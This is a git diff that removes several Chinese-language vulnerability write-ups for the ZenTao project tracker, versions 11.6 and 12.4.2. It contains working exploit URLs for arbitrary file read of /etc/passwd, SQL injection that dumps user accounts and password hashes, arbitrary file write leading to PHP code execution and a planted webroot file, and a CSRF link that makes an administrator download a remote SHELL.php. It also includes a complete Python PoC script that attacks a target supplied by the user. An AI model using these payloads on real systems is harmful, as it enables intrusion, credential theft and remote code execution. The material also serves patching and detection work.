update zentao
Before Width: | Height: | Size: 1.1 MiB |
@ -1,192 +0,0 @@
|
||||
# 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 11.6
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
这里使用docker环境搭建
|
||||
|
||||
```plain
|
||||
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
|
||||
```
|
||||
|
||||
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这里造成漏洞的原因同样是调用接口权限无限制的原因
|
||||
|
||||
接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
|
||||
|
||||
### 第一种方法
|
||||
|
||||
查看**module/file/moudel.php**下的**parseCSV方法**
|
||||
|
||||
```php
|
||||
public function parseCSV($fileName)
|
||||
{
|
||||
$content = file_get_contents($fileName);
|
||||
/* Fix bug #890. */
|
||||
$content = str_replace("\x82\x32", "\x10", $content);
|
||||
$lines = explode("\n", $content);
|
||||
|
||||
$col = -1;
|
||||
$row = 0;
|
||||
$data = array();
|
||||
foreach($lines as $line)
|
||||
{
|
||||
$line = trim($line);
|
||||
$markNum = substr_count($line, '"') - substr_count($line, '\"');
|
||||
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
|
||||
$line = str_replace(',"",', ',,', $line);
|
||||
$line = str_replace(',"",', ',,', $line);
|
||||
$line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
|
||||
$line = str_replace('""', '"', $line);
|
||||
|
||||
/* if only one column then line is the data. */
|
||||
if(strpos($line, ',') === false and $col == -1)
|
||||
{
|
||||
$data[$row][0] = trim($line, '"');
|
||||
}
|
||||
else
|
||||
{
|
||||
/* if col is not -1, then the data of column is not end. */
|
||||
if($col != -1)
|
||||
{
|
||||
$pos = strpos($line, '",');
|
||||
if($pos === false)
|
||||
{
|
||||
$data[$row][$col] .= "\n" . $line;
|
||||
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
$data[$row][$col] .= "\n" . substr($line, 0, $pos);
|
||||
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
|
||||
$line = substr($line, $pos + 2);
|
||||
$col++;
|
||||
}
|
||||
}
|
||||
|
||||
if($col == -1) $col = 0;
|
||||
/* explode cols with delimiter. */
|
||||
while($line)
|
||||
{
|
||||
/* the cell has '"', the delimiter is '",'. */
|
||||
if($line{0} == '"')
|
||||
{
|
||||
$pos = strpos($line, '",');
|
||||
if($pos === false)
|
||||
{
|
||||
$data[$row][$col] = substr($line, 1);
|
||||
/* if line is not empty, then the data of cell is not end. */
|
||||
if(strlen($line) >= 1) continue 2;
|
||||
$line = '';
|
||||
}
|
||||
else
|
||||
{
|
||||
$data[$row][$col] = substr($line, 1, $pos - 1);
|
||||
$line = substr($line, $pos + 2);
|
||||
}
|
||||
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
|
||||
}
|
||||
else
|
||||
{
|
||||
/* the delimiter default is ','. */
|
||||
$pos = strpos($line, ',');
|
||||
/* if line is not delimiter, then line is the data of cell. */
|
||||
if($pos === false)
|
||||
{
|
||||
$data[$row][$col] = $line;
|
||||
$line = '';
|
||||
}
|
||||
else
|
||||
{
|
||||
$data[$row][$col] = substr($line, 0, $pos);
|
||||
$line = substr($line, $pos + 1);
|
||||
}
|
||||
}
|
||||
|
||||
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
|
||||
$col++;
|
||||
}
|
||||
}
|
||||
$row ++;
|
||||
$col = -1;
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
|
||||
这里可以看到**以file为模块名、parseCSV为方法名去调用**读取文件
|
||||
|
||||
读取的文件名**$filename**参数可控,例如读取**/etc/passwd**
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤
|
||||
|
||||
### 第二种方法
|
||||
|
||||
查看**module/api/moudel.php**下的**getMethod方法**
|
||||
|
||||
```php
|
||||
public function getMethod($filePath, $ext = '')
|
||||
{
|
||||
$fileName = dirname($filePath);
|
||||
$className = basename(dirname(dirname($filePath)));
|
||||
if(!class_exists($className)) helper::import($fileName);
|
||||
$methodName = basename($filePath);
|
||||
|
||||
$method = new ReflectionMethod($className . $ext, $methodName);
|
||||
$data = new stdClass();
|
||||
$data->startLine = $method->getStartLine();
|
||||
$data->endLine = $method->getEndLine();
|
||||
$data->comment = $method->getDocComment();
|
||||
$data->parameters = $method->getParameters();
|
||||
$data->className = $className;
|
||||
$data->methodName = $methodName;
|
||||
$data->fileName = $fileName;
|
||||
$data->post = false;
|
||||
|
||||
$file = file($fileName);
|
||||
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
|
||||
{
|
||||
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
|
||||
{
|
||||
$data->post = true;
|
||||
}
|
||||
}
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
|
||||
这里与第一种大同小异,只是调用了不同模块的方法
|
||||
|
||||
看到 fileName = dirname(filepath) 这段则为返回的目录名
|
||||
|
||||
所以读取**/etc/passwd**则需要写为**/etc/passwd/1**来绕过
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1
|
||||
```
|
||||
|
||||

|
@ -1,359 +0,0 @@
|
||||
# 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 11.6
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
这里使用docker环境搭建
|
||||
|
||||
```plain
|
||||
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
|
||||
```
|
||||
|
||||
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
先对禅道的调用流程进行分析,先查看目录为**www/index.php**首页文件中
|
||||
|
||||

|
||||
|
||||
这里使用**router::createApp**创建了一个APP对象
|
||||
|
||||
```php
|
||||
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
|
||||
```
|
||||
|
||||
来到**framework/base/router.class.php**文件查看到**createApp**方法
|
||||
|
||||

|
||||
|
||||
```php
|
||||
public static function createApp($appName = 'demo', $appRoot = '', $className = '')
|
||||
{
|
||||
if(empty($className)) $className = __CLASS__;
|
||||
return new $className($appName, $appRoot);
|
||||
}
|
||||
```
|
||||
|
||||
这里New了一个对象,查看一下调用方法(348行)
|
||||
|
||||

|
||||
|
||||
在358行处调用了**setConfigRoot**方法
|
||||
|
||||
```php
|
||||
$this->setConfigRoot();
|
||||
|
||||
public function setConfigRoot()
|
||||
{
|
||||
$this->configRoot = $this->basePath . 'config' . DS;
|
||||
}
|
||||
```
|
||||
|
||||
在363行处调用了**loadMainConfig**方法
|
||||
|
||||
```php
|
||||
$this->loadMainConfig();
|
||||
|
||||
public function loadMainConfig()
|
||||
{
|
||||
/* 初始化$config对象。Init the $config object. */
|
||||
global $config, $filter;
|
||||
if(!is_object($config)) $config = new config();
|
||||
$this->config = $config;
|
||||
|
||||
/* 加载主配置文件。 Load the main config file. */
|
||||
$mainConfigFile = $this->configRoot . 'config.php';
|
||||
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
|
||||
include $mainConfigFile;
|
||||
}
|
||||
```
|
||||
|
||||
这里包含了配置文件**config.php**配置文件,文件目录为**/config/config.php**
|
||||
|
||||
在25行定义了调用方法
|
||||
|
||||
```php
|
||||
$config->requestType = 'PATH_INFO'; // 请求类型:PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
|
||||
$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
|
||||
$config->moduleVar = 'm'; // 请求类型为GET:模块变量名。 requestType=GET: the module var name.
|
||||
$config->methodVar = 'f'; // 请求类型为GET:模块变量名。 requestType=GET: the method var name.
|
||||
$config->viewVar = 't'; // 请求类型为GET:视图变量名。 requestType=GET: the view var name.
|
||||
$config->sessionVar = 'zentaosid'; // 请求类型为GET:session变量名。 requestType=GET: the session var name.
|
||||
$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
|
||||
```
|
||||
|
||||
可以发现这里存在两种路由**PATH_INFO|PATH_INFO2**:一种是m、f、t来进行调用。另外一种是通过-来进行调用
|
||||
|
||||
在**index.php**中的**66行**
|
||||
|
||||
```php
|
||||
$app->parseRequest();
|
||||
|
||||
public function parseRequest()
|
||||
{
|
||||
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
|
||||
{
|
||||
$this->parsePathInfo();
|
||||
$this->setRouteByPathInfo();
|
||||
}
|
||||
elseif($this->config->requestType == 'GET')
|
||||
{
|
||||
$this->parseGET();
|
||||
$this->setRouteByGET();
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
看到这一条则是判断力两种调用方法
|
||||
|
||||
```php
|
||||
$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'
|
||||
```
|
||||
|
||||
跟进**setRouteByPathInfo方法**
|
||||
|
||||
```php
|
||||
public function setRouteByPathInfo()
|
||||
{
|
||||
if(!empty($this->URI))
|
||||
{
|
||||
/*
|
||||
* 根据$requestFix分割符,分割网址。
|
||||
* There's the request seperator, split the URI by it.
|
||||
**/
|
||||
if(strpos($this->URI, $this->config->requestFix) !== false)
|
||||
{
|
||||
$items = explode($this->config->requestFix, $this->URI);
|
||||
$this->setModuleName($items[0]);
|
||||
$this->setMethodName($items[1]);
|
||||
}
|
||||
/*
|
||||
* 如果网址中没有分隔符,使用默认的方法。
|
||||
* No reqeust seperator, use the default method name.
|
||||
**/
|
||||
else
|
||||
{
|
||||
$this->setModuleName($this->URI);
|
||||
$this->setMethodName($this->config->default->method);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
|
||||
$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
|
||||
}
|
||||
$this->setControlFile();
|
||||
}
|
||||
```
|
||||
|
||||
所以可以推断出调用的方法
|
||||
|
||||
例如**登录页面**有两种访问方法
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
|
||||
http://xxx.xxx.xxx.xxx/user-login.html
|
||||
```
|
||||
|
||||
再看一下**checkPriv方法**
|
||||
|
||||
```php
|
||||
public function checkPriv()
|
||||
{
|
||||
$module = $this->app->getModuleName();
|
||||
$method = $this->app->getMethodName();
|
||||
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
|
||||
if($this->isOpenMethod($module, $method)) return true;
|
||||
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
|
||||
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
|
||||
|
||||
if(isset($this->app->user))
|
||||
{
|
||||
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
|
||||
}
|
||||
else
|
||||
{
|
||||
$referer = helper::safe64Encode($this->app->getURI(true));
|
||||
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这里检测了调用模块和方法的权限,可以知道除了**isOpenMethod**中定义的公开模块和方法之外,其他的方法都是需要登录的
|
||||
|
||||
最后是**$app->loadModule();**这段代码
|
||||
|
||||
```php
|
||||
public function loadModule()
|
||||
{
|
||||
$appName = $this->appName;
|
||||
$moduleName = $this->moduleName;
|
||||
$methodName = $this->methodName;
|
||||
|
||||
/*
|
||||
* 引入该模块的control文件。
|
||||
* Include the control file of the module.
|
||||
**/
|
||||
$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
|
||||
chdir(dirname($file2Included));
|
||||
helper::import($file2Included);
|
||||
|
||||
/*
|
||||
* 设置control的类名。
|
||||
* Set the class name of the control.
|
||||
**/
|
||||
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
|
||||
if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);
|
||||
|
||||
/*
|
||||
* 创建control类的实例。
|
||||
* Create a instance of the control.
|
||||
**/
|
||||
$module = new $className();
|
||||
if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
|
||||
$this->control = $module;
|
||||
|
||||
/* include default value for module*/
|
||||
$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
|
||||
if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;
|
||||
|
||||
/*
|
||||
* 使用反射机制获取函数参数的默认值。
|
||||
* Get the default settings of the method to be called using the reflecting.
|
||||
*
|
||||
* */
|
||||
$defaultParams = array();
|
||||
$methodReflect = new reflectionMethod($className, $methodName);
|
||||
foreach($methodReflect->getParameters() as $param)
|
||||
{
|
||||
$name = $param->getName();
|
||||
|
||||
$default = '_NOT_SET';
|
||||
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
|
||||
{
|
||||
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
|
||||
}
|
||||
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
|
||||
{
|
||||
$default = $paramDefaultValue[$className][$methodName][$name];
|
||||
}
|
||||
elseif($param->isDefaultValueAvailable())
|
||||
{
|
||||
$default = $param->getDefaultValue();
|
||||
}
|
||||
|
||||
$defaultParams[$name] = $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* 根据PATH_INFO或者GET方式设置请求的参数。
|
||||
* Set params according PATH_INFO or GET.
|
||||
*/
|
||||
if($this->config->requestType != 'GET')
|
||||
{
|
||||
$this->setParamsByPathInfo($defaultParams);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->setParamsByGET($defaultParams);
|
||||
}
|
||||
|
||||
if($this->config->framework->filterParam == 2)
|
||||
{
|
||||
$_GET = validater::filterParam($_GET, 'get');
|
||||
$_COOKIE = validater::filterParam($_COOKIE, 'cookie');
|
||||
}
|
||||
|
||||
/* 调用该方法 Call the method. */
|
||||
call_user_func_array(array($module, $methodName), $this->params);
|
||||
return $module;
|
||||
}
|
||||
```
|
||||
|
||||
通过之前获取的**moduleName**包含对应的**control类**文件并实例化,随后调用**setParamsByPathInfo**方法从路径中获取方法对应的参数值,最后通过**call_user_func_array**方法调用对应**control类**中的对应方法并赋值。
|
||||
|
||||
我们查看**module/api/control.php**文件中的**getModel**方法
|
||||
|
||||

|
||||
|
||||
这里通过**call_user_func_array**函数调用所有的**model文件**的所有方法。
|
||||
|
||||
```php
|
||||
$result = call_user_func_array(array(&$module, $methodName), $params);
|
||||
```
|
||||
|
||||
可以看到**module/api/moudel.php**中的**sql函数**
|
||||
|
||||
```php
|
||||
public function sql($sql, $keyField = '')
|
||||
{
|
||||
$sql = trim($sql);
|
||||
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
|
||||
a($sql);
|
||||
if(empty($sql)) return '';
|
||||
|
||||
if(stripos($sql, 'select ') !== 0)
|
||||
{
|
||||
return $this->lang->api->error->onlySelect;
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
$stmt = $this->dao->query($sql);
|
||||
if(empty($keyField)) return $stmt->fetchAll();
|
||||
$rows = array();
|
||||
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
|
||||
return $rows;
|
||||
}
|
||||
catch(PDOException $e)
|
||||
{
|
||||
return $e->getMessage();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这里并没有进行过滤,只使用了代码**$sql=trim($sql)**过滤了空格
|
||||
|
||||
我们看一下这里的调用这个方法需要的权限
|
||||
|
||||

|
||||
|
||||
这里可以看到任何用户都可以调用这个模块的方法,所以我们用它调用**sql**方法进行查询(空格转换为+,绕过过滤)
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
|
||||
```
|
||||
|
||||

|
||||
|
||||
成功执行sql语句
|
||||
|
||||
## 漏洞POC
|
||||
|
||||
登陆后访问
|
||||
|
||||
```
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-user-getRealNameAndEmails-users=admin
|
||||
```
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
|
||||
```
|
@ -1,192 +0,0 @@
|
||||
# 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 11.6
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
这里使用docker环境搭建
|
||||
|
||||
```plain
|
||||
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
|
||||
```
|
||||
|
||||
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这里造成漏洞的原因同样是调用接口权限无限制的原因
|
||||
|
||||
接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
|
||||
|
||||
查看**module/api/ediyor/moudel.php**下的**save方法**
|
||||
|
||||
```php
|
||||
public function save($filePath)
|
||||
{
|
||||
$fileContent = $this->post->fileContent;
|
||||
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
|
||||
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
|
||||
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
|
||||
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
|
||||
|
||||
$dirPath = dirname($filePath);
|
||||
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
|
||||
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
|
||||
if(is_writable($dirPath))
|
||||
{
|
||||
file_put_contents($filePath, $fileContent);
|
||||
}
|
||||
else
|
||||
{
|
||||
die(js::alert($this->lang->editor->notWritable . $extFilePath));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**$filePath参数和$fileContent参数** 我们是可控的
|
||||
|
||||
调用方法往 **/tmp**写入一个**phpinfo()**
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell.php
|
||||
|
||||
POST:fileContent=<?php phpinfo();?>
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1
|
||||
```
|
||||
|
||||

|
||||
|
||||
也可以写入网站目录中
|
||||
|
||||
先获取地址
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
|
||||
|
||||
POST:fileContent=<?php system('find / -name ioncube.php')?>');?>
|
||||
```
|
||||
|
||||
访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
得到目录为 **/app/zentaopma/www**
|
||||
|
||||
请求改为
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
|
||||
|
||||
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
|
||||
```
|
||||
|
||||
再去访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)则会再网站目录下生成 xxx.php 文件
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞POC
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
#-*- coding:utf-8 -*-
|
||||
# author : PeiQi
|
||||
# from : http://wiki.peiqi.tech
|
||||
|
||||
import base64
|
||||
import requests
|
||||
import random
|
||||
import re
|
||||
import json
|
||||
import sys
|
||||
|
||||
def title():
|
||||
print('+------------------------------------------')
|
||||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||||
print('+ \033[34mVersion: zentao version = 11.6 \033[0m')
|
||||
print('+ \033[36m使用格式: python3 poc.py \033[0m')
|
||||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
|
||||
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
|
||||
print('+------------------------------------------')
|
||||
|
||||
def POC_1(target_url):
|
||||
version_url = target_url + "/www/index.php?mode=getconfig"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
response = requests.get(url=version_url, timeout=20, headers=headers)
|
||||
version = json.loads(response.text)['version']
|
||||
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
|
||||
|
||||
except Exception as e:
|
||||
print("\033[31m[x] 获取版本失败 \033[0m", e)
|
||||
sys.exit(0)
|
||||
|
||||
def POC_2(target_url, zentaosid):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Cookie": "zentaosid={}".format(zentaosid)
|
||||
}
|
||||
data = {"fileContent":"<?php phpinfo();?>"}
|
||||
write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
|
||||
try:
|
||||
response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
|
||||
print("\033[32m[o] 尝试写入php文件... \033[0m")
|
||||
except:
|
||||
print("\033[31m[x] 写入php文件失败 \033[0m")
|
||||
sys.exit(0)
|
||||
|
||||
def POC_3(target_url, zentaosid):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Cookie": "zentaosid={}".format(zentaosid)
|
||||
}
|
||||
vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
|
||||
try:
|
||||
response = requests.get(url=vuln_url, headers=headers, timeout=10)
|
||||
if "System" in response.text:
|
||||
print("\033[32m[o] 成功写入文件,存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 \033[0m".format(target_url))
|
||||
else:
|
||||
print("\033[31m[x] 读取php文件失败 \033[0m")
|
||||
except:
|
||||
print("\033[31m[x] 读取php文件失败 \033[0m")
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
title()
|
||||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||||
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
|
||||
POC_1(target_url)
|
||||
POC_2(target_url, zentaosid)
|
||||
POC_3(target_url, zentaosid)
|
||||
```
|
||||
|
||||

|
@ -1,97 +0,0 @@
|
||||
# 禅道 12.4.2 CSRF漏洞 CNVD-2020-68552
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
可以针对禅道的部分模块制造恶意URL地址发送给管理员,当管理员登录时会执行模块的恶意请求,可用于进行钓鱼请求
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 <= 12.4.2版本
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
百度下12.4.2的禅道环境按步骤安装下载即可
|
||||
|
||||
[禅道官方网站](https://www.zentao.net/)
|
||||
|
||||

|
||||
|
||||
调用接口查询版本信息
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这里利用 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325(可参照上一篇文章) 来构造一个恶意的URL地址
|
||||
|
||||
查看**module/common/model.php**的**checkPriv**方法
|
||||
|
||||
```php
|
||||
public function checkPriv()
|
||||
{
|
||||
$module = $this->app->getModuleName();
|
||||
$method = $this->app->getMethodName();
|
||||
if($this->app->isFlow)
|
||||
{
|
||||
$module = $this->app->rawModule;
|
||||
$method = $this->app->rawMethod;
|
||||
}
|
||||
|
||||
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
|
||||
if($this->isOpenMethod($module, $method)) return true;
|
||||
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
|
||||
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
|
||||
|
||||
if(isset($this->app->user))
|
||||
{
|
||||
if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
|
||||
$this->app->user = $this->session->user;
|
||||
|
||||
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
|
||||
}
|
||||
else
|
||||
{
|
||||
$referer = helper::safe64Encode($this->app->getURI(true));
|
||||
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这里的代码片段为鉴权函数,可以看到最后一句代码
|
||||
|
||||
```php
|
||||
$referer = helper::safe64Encode($this->app->getURI(true));
|
||||
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
|
||||
```
|
||||
|
||||
所以当调用当前权限不允许的方法时,会进行跳转,并在**$referer**参数缓存调用的方法URL,当使用这个跳转的地址登录时则会直接调用此方法
|
||||
|
||||
**URL地址构造过程**
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=HTTP://peiqi.tech/SHELL.php
|
||||
```
|
||||
|
||||
将**link参数**base64加密
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
|
||||
```
|
||||
|
||||
将**referer参数**以 . 做分割base64加密两边字符
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA.bT1jbGllbnQmZj1kb3dubG9hZCZ2ZXJzaW9uPTEmbGluaz1TRlJVVURvdkwzQmxhWEZwTG5SbFkyZ3ZVMGhGVEV3dWNHaHc=
|
||||
```
|
||||
|
||||

|
||||
|
||||
将这个URL地址发送给管理员,当管理员登录时则会触发恶意文件下载
|
||||
|
||||

|
@ -1,241 +0,0 @@
|
||||
# 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
